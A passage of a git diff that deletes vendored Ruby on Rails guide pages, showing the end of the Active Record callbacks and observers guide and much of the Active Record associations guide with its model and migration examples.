If the callback method is declared this way, it won’t be necessary to instantiate a PictureFileCallbacks object.

-
-
-
class PictureFile < ActiveRecord::Base
-  after_destroy PictureFileCallbacks
-end
-

You can declare as many callbacks as you want inside your callback classes.

-
-

13. Observers

-
-

Active Record callbacks are a powerful feature, but they can pollute your model implementation with code that’s not directly related to the model’s purpose. In object-oriented software, it’s always a good idea to design your classes with a single responsibility in the whole system. For example, it wouldn’t make much sense to have a User model with a method that writes data about a login attempt to a log file. Whenever you’re using callbacks to write code that’s not directly related to your model class purposes, it may be a good moment to create an Observer.

-

An Active Record Observer is an object that links itself to a model and registers its methods for callbacks. Your model’s implementation remains clean, while you can reuse the code in the Observer to add behaviour to more than one model class. OK, you may say that we can also do that using callback classes, but it would still force us to add code to our model’s implementation.

-

Observer classes are subclasses of the ActiveRecord::Observer class. When this class is subclassed, Active Record will look at the name of the new class and then strip the Observer part to find the name of the Active Record class to observe.

-

Consider a Registration model, where we want to send an email every time a new registration is created. Since sending emails is not directly related to our model’s purpose, we could create an Observer to do just that:

-
-
-
class RegistrationObserver < ActiveRecord::Observer
-  def after_create(model)
-    # code to send registration confirmation emails...
-  end
-end
-

Like in callback classes, the observer’s methods receive the observed model as a parameter.

-

Sometimes using the ModelName + Observer naming convention won’t be the best choice, mainly when you want to use the same observer for more than one model class. It’s possible to explicity specify the models that our observer should observe.

-
-
-
class Auditor < ActiveRecord::Observer
-  observe User, Registration, Invoice
-end
-

13.1. Registering observers

-

If you paid attention, you may be wondering where Active Record Observers are referenced in our applications, so they get instantiated and begin to interact with our models. For observers to work we need to register them somewhere. The usual place to do that is in our application’s config/environment.rb file. In this file there is a commented-out line where we can define the observers that our application should load at start-up.

-
-
-
# Activate observers that should always be running
-config.active_record.observers = :registration_observer, :auditor
-

You can uncomment the line with config.active_record.observers and change the symbols for the name of the observers that should be registered.

-

It’s also possible to register callbacks in any of the files living at config/environments/, if you want an observer to work only in a specific environment. There is not a config.active_record.observers line at any of those files, but you can simply add it.

-

13.2. Where to put the observers' source files

-

By convention, you should always save your observers' source files inside app/models.

-
-

14. Changelog

-
-

Lighthouse ticket

-

January 9, 2009: Initial version by Cássio Marques

-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/association_basics.html b/vendor/rails/railties/doc/guides/html/association_basics.html deleted file mode 100644 index bfe8f3f3..00000000 --- a/vendor/rails/railties/doc/guides/html/association_basics.html +++ /dev/null @@ -1,2315 +0,0 @@ - - - - - A Guide to Active Record Associations - - - - - - - - -
- - - -
-

A Guide to Active Record Associations

-
-
-

This guide covers the association features of Active Record. By referring to this guide, you will be able to:

-
    -
  • -

    -Declare associations between Active Record models -

    -
    • -
  • -

    -Understand the various types of Active Record associations -

    -
    • -
  • -

    -Use the methods added to your models by creating associations -

    -
    • -
-
-
-

1. Why Associations?

-
-

Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:

-
-
-
class Customer < ActiveRecord::Base
-end
-
-class Order < ActiveRecord::Base
-end
-

Now, suppose we wanted to add a new order for an existing customer. We’d need to do something like this:

-
-
-
@order = Order.create(:order_date => Time.now, :customer_id => @customer.id)
-

Or consider deleting a customer, and ensuring that all of its orders get deleted as well:

-
-
-
@orders = Order.find_by_customer_id(@customer.id)
-@orders.each do |order|
-  order.destroy
-end
-@customer.destroy
-

With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here’s the revised code for setting up customers and orders:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-

With this change, creating a new order for a particular customer is easier:

-
-
-
@order = @customer.orders.create(:order_date => Time.now)
-

Deleting a customer and all of its orders is much easier:

-
-
-
@customer.destroy
-

To learn more about the different types of associations, read the next section of this Guide. That’s followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.

-
-

2. The Types of Associations

-
-

In Rails, an association is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model belongs_to another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:

-
    -
  • -

    -belongs_to -

    -
    • -
  • -

    -has_one -

    -
    • -
  • -

    -has_many -

    -
    • -
  • -

    -has_many :through -

    -
    • -
  • -

    -has_one :through -

    -
    • -
  • -

    -has_and_belongs_to_many -

    -
    • -
-

In the remainder of this guide, you’ll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.

-

2.1. The belongs_to Association

-

A belongs_to association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you’d declare the order model this way:

-
-
-
class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-

-belongs_to Association Diagram -

-

2.2. The has_one Association

-

A has_one association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you’d declare the supplier model like this:

-
-
-
class Supplier < ActiveRecord::Base
-  has_one :account
-end
-

-has_one Association Diagram -

-

2.3. The has_many Association

-

A has_many association indicates a one-to-many connection with another model. You’ll often find this association on the "other side" of a belongs_to association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders
-end
-
- - - -
-Note -The name of the other model is pluralized when declaring a has_many association.
-
-

-has_many Association Diagram -

-

2.4. The has_many :through Association

-

A has_many :through association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding through a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:

-
-
-
class Physician < ActiveRecord::Base
-  has_many :appointments
-  has_many :patients, :through => :appointments
-end
-
-class Appointment < ActiveRecord::Base
-  belongs_to :physician
-  belongs_to :patient
-end
-
-class Patient < ActiveRecord::Base
-  has_many :appointments
-  has_many :physicians, :through => :appointments
-end
-

-has_many :through Association Diagram -

-

The has_many :through association is also useful for setting up "shortcuts" through nested :has_many associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:

-
-
-
class Document < ActiveRecord::Base
-  has_many :sections
-  has_many :paragraphs, :through => :sections
-end
-
-class Section < ActiveRecord::Base
-  belongs_to :document
-  has_many :paragraphs
-end
-
-class Paragraph < ActiveRecord::Base
-  belongs_to :section
-end
-

2.5. The has_one :through Association

-

A has_one :through association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding through a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:

-
-
-
class Supplier < ActiveRecord::Base
-  has_one :account
-  has_one :account_history, :through => :account
-end
-
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-  has_one :account_history
-end
-
-class AccountHistory < ActiveRecord::Base
-  belongs_to :account
-end
-

-has_one :through Association Diagram -

-

2.6. The has_and_belongs_to_many Association

-

A has_and_belongs_to_many association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:

-
-
-
class Assembly < ActiveRecord::Base
-  has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-

-has_and_belongs_to_many Association Diagram -

-

2.7. Choosing Between belongs_to and has_one

-

If you want to set up a 1-1 relationship between two models, you’ll need to add belongs_to to one, and has_one to the other. How do you know which is which?

-

The distinction is in where you place the foreign key (it goes on the table for the class declaring the belongs_to association), but you should give some thought to the actual meaning of the data as well. The has_one relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:

-
-
-
class Supplier < ActiveRecord::Base
-  has_one :account
-end
-
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-end
-

The corresponding migration might look like this:

-
-
-
class CreateSuppliers < ActiveRecord::Migration
-  def self.up
-    create_table :suppliers do |t|
-      t.string  :name
-      t.timestamps
-    end
-
-    create_table :accounts do |t|
-      t.integer :supplier_id
-      t.string  :account_number
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :accounts
-    drop_table :suppliers
-  end
-end
-
- - - -
-Note -Using t.integer :supplier_id makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using t.references :supplier instead.
-
-

2.8. Choosing Between has_many :through and has_and_belongs_to_many

-

Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use has_and_belongs_to_many, which allows you to make the association directly:

-
-
-
class Assembly < ActiveRecord::Base
-  has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-

The second way to declare a many-to-many relationship is to use has_many :through. This makes the association indirectly, through a join model:

-
-
-
class Assembly < ActiveRecord::Base
-  has_many :manifests
-  has_many :parts, :through => :manifests
-end
-
-class Manifest < ActiveRecord::Base
-  belongs_to :assembly
-  belongs_to :part
-end
-
-class Part < ActiveRecord::Base
-  has_many :manifests
-  has_many :assemblies, :through => :manifests
-end
-

The simplest rule of thumb is that you should set up a has_many :through relationship if you need to work with the relationship model as an independent entity. If you don’t need to do anything with the relationship model, it may be simpler to set up a has_and_belongs_to_many relationship (though you’ll need to remember to create the joining table).

-

You should use has_many :through if you need validations, callbacks, or extra attributes on the join model.

-

2.9. Polymorphic Associations

-

A slightly more advanced twist on associations is the polymorphic association. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here’s how this could be declared:

-
-
-
class Picture < ActiveRecord::Base
-  belongs_to :imageable, :polymorphic => true
-end
-
-class Employee < ActiveRecord::Base
-  has_many :pictures, :as => :imageable
-end
-
-class Product < ActiveRecord::Base
-  has_many :pictures, :as => :imageable
-end
-

You can think of a polymorphic belongs_to declaration as setting up an interface that any other model can use. From an instance of the Employee model, you can retrieve a collection of pictures: @employee.pictures. Similarly, you can retrieve @product.pictures. If you have an instance of the Picture model, you can get to its parent via @picture.imageable. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:

-
-
-
class CreatePictures < ActiveRecord::Migration
-  def self.up
-    create_table :pictures do |t|
-      t.string  :name
-      t.integer :imageable_id
-      t.string  :imageable_type
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :pictures
-  end
-end
-

This migration can be simplified by using the t.references form:

-
-
-
class CreatePictures < ActiveRecord::Migration
-  def self.up
-    create_table :pictures do |t|
-      t.string  :name
-      t.references :imageable, :polymorphic => true
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :pictures
-  end
-end
-

-Polymorphic Association Diagram -

-

2.10. Self Joins

-

In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:

-
-
-
class Employee < ActiveRecord::Base
-  has_many :subordinates, :class_name => "Employee", :foreign_key => "manager_id"
-  belongs_to :manager, :class_name => "Employee"
-end
-

With this setup, you can retrieve @employee.subordinates and @employee.manager.

-
-

3. Tips, Tricks, and Warnings

-
-

Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:

-
    -
  • -

    -Controlling caching -

    -
    • -
  • -

    -Avoiding name collisions -

    -
    • -
  • -

    -Updating the schema -

    -
    • -
  • -

    -Controlling association scope -

    -
    • -
-

3.1. Controlling Caching

-

All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:

-
-
-
customer.orders                 # retrieves orders from the database
-customer.orders.size            # uses the cached copy of orders
-customer.orders.empty?          # uses the cached copy of orders
-

But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass true to the association call:

-
-
-
customer.orders                 # retrieves orders from the database
-customer.orders.size            # uses the cached copy of orders
-customer.orders(true).empty?    # discards the cached copy of orders and goes back to the database
-

3.2. Avoiding Name Collisions

-

You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of ActiveRecord::Base. The association method would override the base method and break things. For instance, attributes or connection are bad names for associations.

-

3.3. Updating the Schema

-

Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For belongs_to associations you need to create foreign keys, and for has_and_belongs_to_many associations you need to create the appropriate join table.

-

3.3.1. Creating Foreign Keys for belongs_to Associations

-

When you declare a belongs_to association, you need to create foreign keys as appropriate. For example, consider this model:

-
-
-
class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-

This declaration needs to be backed up by the proper foreign key declaration on the orders table:

-
-
-
class CreateOrders < ActiveRecord::Migration
-  def self.up
-    create_table :orders do |t|
-      t.datetime   :order_date
-      t.string     :order_number
-      t.integer    :customer_id
-    end
-  end
-
-  def self.down
-    drop_table :orders
-  end
-end
-

If you create an association some time after you build the underlying model, you need to remember to create an add_column migration to provide the necessary foreign key.

-

3.3.2. Creating Join Tables for has_and_belongs_to_many Associations

-

If you create a has_and_belongs_to_many association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the :join_table option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.

-
- - - -
-Warning -The precedence between model names is calculated using the < operator for String. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".
-
-

Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:

-
-
-
class Assembly < ActiveRecord::Base
-  has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-

These need to be backed up by a migration to create the assemblies_parts table. This table should be created without a primary key:

-
-
-
class CreateAssemblyPartJoinTable < ActiveRecord::Migration
-  def self.up
-    create_table :assemblies_parts, :id => false do |t|
-      t.integer :assembly_id
-      t.integer :part_id
-    end
-  end
-
-  def self.down
-    drop_table :assemblies_parts
-  end
-end
-

3.4. Controlling Association Scope

-

By default, associations look for objects only within the current module’s scope. This can be important when you declare Active Record models within a module. For example:

-
-
-
module MyApplication
-  module Business
-    class Supplier < ActiveRecord::Base
-       has_one :account
-    end
-
-    class Account < ActiveRecord::Base
-       belongs_to :supplier
-    end
-  end
-end
-

This will work fine, because both the Supplier and the Account class are defined within the same scope. But this will not work, because Supplier and Account are defined in different scopes:

-
-
-
module MyApplication
-  module Business
-    class Supplier < ActiveRecord::Base
-       has_one :account
-    end
-  end
-
-  module Billing
-    class Account < ActiveRecord::Base
-       belongs_to :supplier
-    end
-  end
-end
-

To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:

-
-
-
module MyApplication
-  module Business
-    class Supplier < ActiveRecord::Base
-       has_one :account, :class_name => "MyApplication::Billing::Account"
-    end
-  end
-
-  module Billing
-    class Account < ActiveRecord::Base
-       belongs_to :supplier, :class_name => "MyApplication::Business::Supplier"
-    end
-  end
-end
-
-

4. Detailed Association Reference

-
-

The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.

-

4.1. The belongs_to Association

-

The belongs_to association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use has_one instead.

-

4.1.1. Methods Added by belongs_to

-

When you declare a belongs_to assocation, the declaring class automatically gains five methods related to the association:

-
    -
  • -

    -association(force_reload = false) -

    -
    • -
  • -

    -association=(associate) -

    -
    • -
  • -

    -association.nil? -

    -
    • -
  • -

    -build_association(attributes = {}) -

    -
    • -
  • -

    -create_association(attributes = {}) -

    -
    • -
-

In all of these methods, association is replaced with the symbol passed as the first argument to belongs_to. For example, given the declaration:

-
-
-
class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-

Each instance of the order model will have these methods:

-
-
-
customer
-customer=
-customer.nil?
-build_customer
-create_customer
-
association(force_reload = false)
-

The association method returns the associated object, if any. If no associated object is found, it returns nil.

-
-
-
@customer = @order.customer
-

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass true as the force_reload argument.

-
association=(associate)
-

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object’s foreign key to the same value.

-
-
-
@order.customer = @customer
-
association.nil?
-

The association.nil? method returns true if there is no associated object.

-
-
-
if @order.customer.nil?
-  @msg = "No customer found for this order"
-end
-
build_association(attributes = {})
-

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object’s foreign key will be set, but the associated object will not yet be saved.

-
-
-
@customer = @order.build_customer({:customer_number => 123, :customer_name => "John Doe"})
-
create_association(attributes = {})
-

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object’s foreign key will be set. In addition, the associated object will be saved (assuming that it passes any validations).

-
-
-
@customer = @order.create_customer({:customer_number => 123, :customer_name => "John Doe"})
-

4.1.2. Options for belongs_to

-

In many situations, you can use the default behavior of belongs_to without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a belongs_to association. For example, an association with several options might look like this:

-
-
-
class Order < ActiveRecord::Base
-  belongs_to :customer, :counter_cache => true, :conditions => "active = 1"
-end
-

The belongs_to association supports these options:

-
    -
  • -

    -:class_name -

    -
    • -
  • -

    -:conditions -

    -
    • -
  • -

    -:counter_cache -

    -
    • -
  • -

    -:dependent -

    -
    • -
  • -

    -:foreign_key -

    -
    • -
  • -

    -:include -

    -
    • -
  • -

    -:polymorphic -

    -
    • -
  • -

    -:readonly -

    -
    • -
  • -

    -:select -

    -
    • -
  • -

    -:validate -

    -
    • -
-
:class_name
-

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is Patron, you’d set things up this way:

-
-
-
class Order < ActiveRecord::Base
-  belongs_to :customer, :class_name => "Patron"
-end
-
:conditions
-

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

-
-
-
class Order < ActiveRecord::Base
-  belongs_to :customer, :conditions => "active = 1"
-end
-
:counter_cache
-

The :counter_cache option can be used to make finding the number of belonging objects more efficient. Consider these models:

-
-
-
class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-

With these declarations, asking for the value of @customer.orders.size requires making a call to the database to perform a COUNT(*) query. To avoid this call, you can add a counter cache to the belonging model:

-
-
-
class Order < ActiveRecord::Base
-  belongs_to :customer, :counter_cache => true
-end
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-

With this declaration, Rails will keep the cache value up to date, and then return that value in response to the .size method.

-

Although the :counter_cache option is specified on the model that includes the belongs_to declaration, the actual column must be added to the associated model. In the case above, you would need to add a column named orders_count to the Customer model. You can override the default column name if you need to:

-
-
-
class Order < ActiveRecord::Base
-  belongs_to :customer, :counter_cache => :count_of_orders
-end
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-

Counter cache columns are added to the containing model’s list of read-only attributes through attr_readonly.

-
:dependent
-

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated object to delete that object. If you set the :dependent option to :delete, then deleting this object will delete the associated object without calling its destroy method.

-
- - - -
-Warning -You should not specify this option on a belongs_to association that is connected with a has_many association on the other class. Doing so can lead to orphaned records in your database.
-
-
:foreign_key
-

By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

-
-
-
class Order < ActiveRecord::Base
-  belongs_to :customer, :class_name => "Patron", :foreign_key => "patron_id"
-end
-
- - - -
-Tip -In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-
:include
-

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

-
-
-
class LineItem < ActiveRecord::Base
-  belongs_to :order
-end
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-

If you frequently retrieve customers directly from line items (@line_item.order.customer), then you can make your code somewhat more efficient by including customers in the association from line items to orders:

-
-
-
class LineItem < ActiveRecord::Base
-  belongs_to :order, :include => :customer
-end
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-
- - - -
-Note -There’s no need to use :include for immediate associations - that is, if you have Order belongs_to :customer, then the customer is eager-loaded automatically when it’s needed.
-
-
:polymorphic
-

Passing true to the :polymorphic option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.

-
:readonly
-

If you set the :readonly option to true, then the associated object will be read-only when retrieved via the association.

-
:select
-

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

-
- - - -
-Tip -If you set the :select option on a belongs_to association, you should also set the foreign_key option to guarantee the correct results.
-
-
:validate
-

If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.

-

4.1.3. When are Objects Saved?

-

Assigning an object to a belongs_to association does not automatically save the object. It does not save the associated object either.

-

4.2. The has_one Association

-

The has_one association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use belongs_to instead.

-

4.2.1. Methods Added by has_one

-

When you declare a has_one association, the declaring class automatically gains five methods related to the association:

-
    -
  • -

    -association(force_reload = false) -

    -
    • -
  • -

    -association=(associate) -

    -
    • -
  • -

    -association.nil? -

    -
    • -
  • -

    -build_association(attributes = {}) -

    -
    • -
  • -

    -create_association(attributes = {}) -

    -
    • -
-

In all of these methods, association is replaced with the symbol passed as the first argument to has_one. For example, given the declaration:

-
-
-
class Supplier < ActiveRecord::Base
-  has_one :account
-end
-

Each instance of the Supplier model will have these methods:

-
-
-
account
-account=
-account.nil?
-build_account
-create_account
-
association(force_reload = false)
-

The association method returns the associated object, if any. If no associated object is found, it returns nil.

-
-
-
@account = @supplier.account
-

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass true as the force_reload argument.

-
association=(associate)
-

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object’s foreign key to the same value.

-
-
-
@suppler.account = @account
-
association.nil?
-

The association.nil? method returns true if there is no associated object.

-
-
-
if @supplier.account.nil?
-  @msg = "No account found for this supplier"
-end
-
build_association(attributes = {})
-

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will not yet be saved.

-
-
-
@account = @supplier.build_account({:terms => "Net 30"})
-
create_association(attributes = {})
-

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object will be saved (assuming that it passes any validations).

-
-
-
@account = @supplier.create_account({:terms => "Net 30"})
-

4.2.2. Options for has_one

-

In many situations, you can use the default behavior of has_one without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a has_one association. For example, an association with several options might look like this:

-
-
-
class Supplier < ActiveRecord::Base
-  has_one :account, :class_name => "Billing", :dependent => :nullify
-end
-

The has_one association supports these options:

-
    -
  • -

    -:as -

    -
    • -
  • -

    -:class_name -

    -
    • -
  • -

    -:conditions -

    -
    • -
  • -

    -:dependent -

    -
    • -
  • -

    -:foreign_key -

    -
    • -
  • -

    -:include -

    -
    • -
  • -

    -:order -

    -
    • -
  • -

    -:primary_key -

    -
    • -
  • -

    -:readonly -

    -
    • -
  • -

    -:select -

    -
    • -
  • -

    -:source -

    -
    • -
  • -

    -:source_type -

    -
    • -
  • -

    -:through -

    -
    • -
  • -

    -:validate -

    -
    • -
-
:as
-

Setting the :as option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.

-
:class_name
-

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you’d set things up this way:

-
-
-
class Supplier < ActiveRecord::Base
-  has_one :account, :class_name => "Billing"
-end
-
:conditions
-

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

-
-
-
class Supplier < ActiveRecord::Base
-  has_one :account, :conditions => "confirmed = 1"
-end
-
:dependent
-

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated object to delete that object. If you set the :dependent option to :delete, then deleting this object will delete the associated object without calling its destroy method. If you set the :dependent option to :nullify, then deleting this object will set the foreign key in the association object to NULL.

-
:foreign_key
-

By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

-
-
-
class Supplier < ActiveRecord::Base
-  has_one :account, :foreign_key => "supp_id"
-end
-
- - - -
-Tip -In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-
:include
-

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

-
-
-
class Supplier < ActiveRecord::Base
-  has_one :account
-end
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-  belongs_to :representative
-end
-class Representative < ActiveRecord::Base
-  has_many :accounts
-end
-

If you frequently retrieve representatives directly from suppliers (@supplier.account.representative), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:

-
-
-
class Supplier < ActiveRecord::Base
-  has_one :account, :include => :representative
-end
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-  belongs_to :representative
-end
-class Representative < ActiveRecord::Base
-  has_many :accounts
-end
-
:order
-

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause). Because a has_one association will only retrieve a single associated object, this option should not be needed.

-
:primary_key
-

By convention, Rails guesses that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.

-
:readonly
-

If you set the :readonly option to true, then the associated object will be read-only when retrieved via the association.

-
:select
-

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

-
:source
-

The :source option specifies the source association name for a has_one :through association.

-
:source_type
-

The :source_type option specifies the source association type for a has_one :through association that proceeds through a polymorphic association.

-
:through
-

The :through option specifies a join model through which to perform the query. has_one :through associations are discussed in detail later in this guide.

-
:validate
-

If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.

-

4.2.3. When are Objects Saved?

-

When you assign an object to a has_one association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.

-

If either of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

-

If the parent object (the one declaring the has_one association) is unsaved (that is, new_record? returns true) then the child objects are not saved.

-

If you want to assign an object to a has_one association without saving the object, use the association.build method.

-

4.3. The has_many Association

-

The has_many association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.

-

4.3.1. Methods Added

-

When you declare a has_many association, the declaring class automatically gains 13 methods related to the association:

-
    -
  • -

    -collection(force_reload = false) -

    -
    • -
  • -

    -collection<<(object, ...) -

    -
    • -
  • -

    -collection.delete(object, ...) -

    -
    • -
  • -

    -collection=objects -

    -
    • -
  • -

    -collection\_singular\_ids -

    -
    • -
  • -

    -collection\_singular\_ids=ids -

    -
    • -
  • -

    -collection.clear -

    -
    • -
  • -

    -collection.empty? -

    -
    • -
  • -

    -collection.size -

    -
    • -
  • -

    -collection.find(...) -

    -
    • -
  • -

    -collection.exist?(...) -

    -
    • -
  • -

    -collection.build(attributes = {}, ...) -

    -
    • -
  • -

    -collection.create(attributes = {}) -

    -
    • -
-

In all of these methods, collection is replaced with the symbol passed as the first argument to has_many, and collection\_singular is replaced with the singularized version of that symbol.. For example, given the declaration:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders
-end
-

Each instance of the customer model will have these methods:

-
-
-
orders(force_reload = false)
-orders<<(object, ...)
-orders.delete(object, ...)
-orders=objects
-order_ids
-order_ids=ids
-orders.clear
-orders.empty?
-orders.size
-orders.find(...)
-orders.exist?(...)
-orders.build(attributes = {}, ...)
-orders.create(attributes = {})
-
collection(force_reload = false)
-

The collection method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.

-
-
-
@orders = @customer.orders
-
collection<<(object, ...)
-

The collection<< method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.

-
-
-
@customer.orders << @order1
-
collection.delete(object, ...)
-

The collection.delete method removes one or more objects from the collection by setting their foreign keys to NULL.

-
-
-
@customer.orders.delete(@order1)
-
- - - -
-Warning -Objects will be in addition destroyed if they’re associated with :dependent => :destroy, and deleted if they’re associated with :dependent => :delete_all.
-
-
collection=objects
-

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

-
collection\_singular\_ids
-

The collection\_singular\_ids method returns an array of the ids of the objects in the collection.

-
-
-
@order_ids = @customer.order_ids
-
_collection\_singular\_ids=ids
-

The _collection\_singular\_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

-
collection.clear
-

The collection.clear method removes every object from the collection. This destroys the associated objects if they are associated with :dependent => :destroy, deletes them directly from the database if :dependent => :delete_all, and otherwise sets their foreign keys to NULL.

-
collection.empty?
-

The collection.empty? method returns true if the collection does not contain any associated objects.

-
-
-
<% if @customer.orders.empty? %>
-  No Orders Found
-<% end %>
-
collection.size
-

The collection.size method returns the number of objects in the collection.

-
-
-
@order_count = @customer.orders.size
-
collection.find(...)
-

The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find.

-
-
-
